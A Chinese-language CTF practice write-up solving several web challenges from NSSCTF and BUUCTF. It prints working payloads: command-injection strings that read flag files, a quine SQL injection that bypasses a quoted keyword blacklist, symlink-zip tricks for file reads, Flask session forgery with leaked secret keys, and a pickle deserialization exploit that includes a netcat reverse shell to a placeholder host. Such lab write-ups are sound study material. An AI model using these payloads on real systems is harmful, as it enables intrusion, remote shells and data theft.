NSSCTF刷题
目录
[HNCTF 2022 Week1]easy_upload
1.添加文件头绕过waf,上传密码为0的shell。
2.过滤system,换成echo+反引号执行命令即可,post执行
0=echo `cat /f*`;
[UUCTF 2022 新生赛]ez_rce
1.过滤了echo,没过滤print,一样能执行,命令过滤用正则或者斜杠绕过都行。
?code=print(`/bin/[b-d]at /fffffffffflagafag `);
[NSSRound#7 Team]ec_RCE
1.引号闭合,直接执行代码读取flag:action=;cat /f*;
[HDCTF 2023]LoginMaster
前面题太基础了,于是挑着做
1.进去后发现只有个登陆框,注册功能是失效的。进入robots.txt
发现题目源码。
function checkSql($s)
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
2.需要让查询到的密码和输入的密码相等,waf过滤了很多字符,这段代码很明显就是和之前几道题相似,直接一眼quine注入。掏出很久以前写的文档,找到payload,直接输入用户名admin,密码payload就行。
payload:
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")/**/as/**/password#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")/**/as/**/password#')/**/as/**/password#
BUUCTF刷题
[SWPU2019]Web3
1.进入后是个登陆框,随便输入即可登陆,但是upload功能被拒绝了,说是权限不足。f12查看session,用脚本解密,发现权限是1000。
2.这个和linux的权限管理有点类似,最高权限root是1,我们需要将1000修改为1,那就需要找到密钥key。扫了一波目录无果,想去404页面找ssti注入的,结果在响应包发现了base64加密的key:SECRET_KEY:keyqqqwwweee!@#$%^&*
3.拿key生成session,F12替换访问upload,进去后是个文件上传的界面。F12查看源码发现了这段功能代码,也是将上传文件解压到hash生成的目录中,其中的/getflag路由则是记载了flag的存放位置是./flag/flag.jpg
。
4.一般涉及到python文件上传的基本都是软链接,这题也不例外。当我们上传文件到目录后,会自动访问解压出的文件,我们只需要将文件链接到flag.jpg中即可。由于不知道当前的工作目录,可以使用/proc
目录下的/proc/self/cwd/
目录,该目录也是一个软链接目录,链接到当前工作目录的。
5.先在linux用命令创建软链接文件ln -s /proc/self/cwd/flag/flag.jpg 2
,将其压缩为zipzip --symlinks t.zip 2
。最后抓包上传,重发即可在响应包内读取flag。
[HFCTF 2021 Final]easyflask
1.进入file?file=/app/source
查看源码,发现/admin
路由会pickle.loads(u)
,很明显的picke序列化。
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
2.那么就必须要伪造session了,首先查找密钥,读取/proc/self/environ
文件发现密钥secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
。
3.首先先生成反弹shell的payload,然后将其添加到u的b列表中,因为需要先经过base解码。
class cmd():
def __reduce__(self):
return (eval,("__import__('os').popen('nc x.x.x.x 2333 -e /bin/sh').read()",))
c = cmd()
c = pickle.dumps(c)
print(base64.b64encode(c))
4.将其加入反弹shell,但是报500错误,而且也没反弹成功。刚开始以为是我的exp有问题,然后又找了网上几个wp的反弹shell也是失效,那么很可能的原因就是靶机没出网,直接将payload替换为命令执行,将读取的flag写入/tmp
目录下。
class cmd():
def __reduce__(self):
return (eval,("__import__('os').popen('cat /flag > /tmp/yyds').read()",))
c = cmd()
c = pickle.dumps(c)
print(base64.b64encode(c))
5.任意文件读取/file?file=/tmp/yyds
,成功读取写入的flag。